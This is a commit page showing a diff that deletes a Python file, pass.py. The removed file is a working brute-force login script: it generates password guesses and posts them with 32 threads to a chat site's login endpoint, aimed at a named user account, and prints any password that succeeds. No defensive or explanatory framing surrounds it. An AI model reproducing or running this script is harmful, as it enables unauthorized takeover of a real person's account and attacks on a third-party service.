asv7j commited on
Commit
148ac04
·
verified ·
1 Parent(s): 2be612d

Delete pass.py

Browse files
Files changed (1) hide show
  1. pass.py +0 -50
pass.py DELETED
@@ -1,50 +0,0 @@
1
- import requests
2
- import time
3
- from concurrent.futures import ThreadPoolExecutor, as_completed
4
-
5
- def send_login(username, number_of_attempts):
6
- charset = 'asdf1234'
7
- # Function to send login request
8
- def send_request(upass):
9
- response = requests.post('https://girlschat.org/chat/system/encoded/login.php', data={
10
- 'password': upass,
11
- 'username': username
12
- })
13
- if response.text in ['1', '2']:
14
- return None
15
- elif response.text == '3':
16
- print(f"Successful login with password: {upass}")
17
- return upass
18
-
19
- # Function to generate the next word in the sequence
20
- def next_word(current):
21
- i = len(current) - 1
22
- while i >= 0:
23
- next_char_index = charset.find(current[i]) + 1
24
- if next_char_index < len(charset):
25
- current = current[:i] + charset[next_char_index] + current[i + 1:]
26
- return current
27
- else:
28
- current = current[:i] + charset[0] + current[i + 1:]
29
- i -= 1
30
- return charset[0] + current
31
-
32
- # Start password
33
- password = 'asdf123a'
34
- passwords = [password]
35
-
36
- for _ in range(number_of_attempts - 1):
37
- password = next_word(password)
38
- passwords.append(password)
39
-
40
- with ThreadPoolExecutor(max_workers=32) as executor:
41
- future_to_password = {executor.submit(send_request, pw): pw for pw in passwords}
42
- print(passwords)
43
- start = time.time()
44
-
45
- # Example usage
46
- username = 'NightNyx' # Replace with actual username
47
- number_of_attempts = 64 # Set the number of password attempts
48
- send_login(username, number_of_attempts)
49
- end = time.time()
50
- print(end - start)